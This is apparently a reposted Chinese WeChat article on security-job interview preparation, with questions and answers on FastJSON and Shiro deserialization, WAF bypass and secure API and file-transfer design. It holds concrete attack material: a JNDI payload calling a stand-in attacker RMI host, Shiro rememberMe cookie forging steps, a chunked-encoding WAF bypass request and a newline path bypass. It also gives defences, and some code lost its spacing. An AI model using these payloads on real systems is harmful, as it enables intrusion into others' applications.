这真的是旱的旱死涝的涝死啊。。。
1、深信服技术服务工程师,base 西安,月薪 14k 据说还有些异地补助
2、奇安信安全服务工程师,base 重庆,月薪 12k
3、绿盟科技的渗透工程师,base 武汉,月薪 10k
我觉得这不是重点啊,关键是他咋这么牛x,他给我讲了这三家主要都还是问了如何绕waf,还有shiro、fastjson框架漏洞,以及一些安全开发的问题。
1. 如何构造JNDI注入攻击链利用FastJSON漏洞?给出完整利用步骤
答案:
攻击步骤:
1. 准备恶意RMI服务:启动JNDI服务指向http://attacker/Exploit.class
2. 构造payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker/obj"}
3. 触发目标反序列化时,会发起JNDI请求加载远程类
防御措施:
1. 升级至1.2.83+版本
2. 设置jvm参数:-Dfastjson.parser.autoTypeAccept=可信类白名单
2. 在已获取Shiro密钥的情况下,如何构造有效的反序列化Payload?
答案:
步骤:
1. 生成恶意对象:使用ysoserial生成CommonsBeanutils1的Payload
2. AES加密:使用Shiro的CBC模式+PKCS5Padding加密
key=Base64.decode(defaultKey)
3. 构造Cookie:
rememberMe=Base64(IV + encryptedPayload)
4. 发送请求携带该Cookie触发漏洞
检测方法:
使用dnslog检测反连:构造URLDNS gadget验证漏洞
3. 如何通过流量特征识别FastJSON反序列化攻击?
答案:
特征指标:
1. 请求体中出现"@type"字段
2. JSON中包含非常见类名如JdbcRowSetImpl
3. 异常DNS查询(JNDI注入阶段)
4. 出网流量到非常用端口(LDAP/RMI)
防御检测:
1. 监控异常JSON结构
2. 部署JNDI请求的出口过滤
4. 如何利用分块编码绕过WAF的RequestBody检测?给出具体HTTP请求示例
示例请求:
POST /api HTTP/1.1
Transfer-Encoding: chunked
3
id=
2
1
0
原理:
WAF可能无法正确重组分块数据,实际请求体为id=1
5. 针对最新Shiro漏洞CVE-2022-32532,分析其与之前版本漏洞的异同
漏洞分析:
- 影响版本:1.9.0以下
- 新特性:RegexRequestMatcher中使用不当正则导致权限绕过
- 绕过方式:构造/admin/%0a绕过^/admin/.*$的正则匹配
修复方案:
1. 升级至1.9.0+
2. 使用严格路径匹配模式
题目6:
在开发RESTful API时,如何设计防御措施同时防止以下攻击场景:
-
SQL注入(包括二阶注入) -
敏感信息泄露(如异常堆栈) -
JWT令牌篡改
请从代码架构设计、输入验证、输出处理三个层面说明具体实现方案,并给出关键代码示例。
答案:
1. **架构设计**:
- **分层防御**:
- 使用ORM框架(如Hibernate)强制参数化查询
```java
// 正确示例
Query query = session.createQuery("FROM User WHERE name = :username");
query.setParameter("username", userInput);
```
- 全局异常处理:自定义@ControllerAdvice捕获异常,替换敏感堆栈信息
```java
@ExceptionHandler(SQLException.class)
public ResponseEntity<String> handleSQLException(SQLException ex) {
return ResponseEntity.status(500).body("Internal Server Error");
}
```
2. **输入验证**:
- **白名单校验**:对参数类型、长度、格式进行正则匹配
```java
if (!Pattern.matches("^[a-zA-Z0-9_]{3,20}$", username)) {
throw new ValidationException("Invalid username");
}
-
上下文编码:对输出到HTML/SQL/JSON的数据分别进行编码
String safeOutput = HtmlUtils.htmlEscape(userContent);
-
JWT防御: String fingerprint = DigestUtils.sha256Hex(request.getRemoteAddr() + userAgent); if (!jwt.getClaim("fp").asString().equals(fingerprint)) { thrownew AuthException("Invalid token"); }
-
签名验证:使用强算法(如RS256)并定期轮换密钥 -
令牌绑定:将JWT与客户端指纹(如IP+User-Agent哈希)绑定
-
题目7:
设计一个安全的文件传输服务,要求同时满足:
-
客户端与服务端双向身份认证 -
传输过程数据加密 -
防重放攻击
请说明协议选型、密钥管理方案及具体实现步骤,需包含代码片段。
答案:
1. **协议选型**:
- 使用**TLS 1.3**协议(禁用旧版本和弱加密套件)
- 双向认证:服务端与客户端均提供证书
2. **密钥管理**:
- **服务端证书**:由私有CA签发,密钥存储于HSM中
- **客户端证书**:采用双向mTLS,证书预置在客户端应用
```bash
# OpenSSL生成客户端证书
openssl req -x509 -newkey rsa:4096 -keyout client.key -out client.crt -days 365
-
防重放攻击: publicbooleanisReplayAttack(String nonce, long timestamp){ if (System.currentTimeMillis() - timestamp > 5000) returntrue; return cache.contains(nonce); }
-
时间戳+Nonce:请求头包含时间戳和随机数,服务端缓存校验
-
-
代码实现(Node.js示例): const tls = require('tls'); const server = tls.createServer({ cert: fs.readFileSync('server.crt'), key: fs.readFileSync('server.key'), ca: [fs.readFileSync('ca.crt')], requestCert: true, // 要求客户端证书 rejectUnauthorized: true }); server.on('secureConnection', (socket) => { console.log('Client cert:', socket.getPeerCertificate()); });
原文始发于微信公众号(吉祥讲安全):懂这些漏洞轻松收割3个offer
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论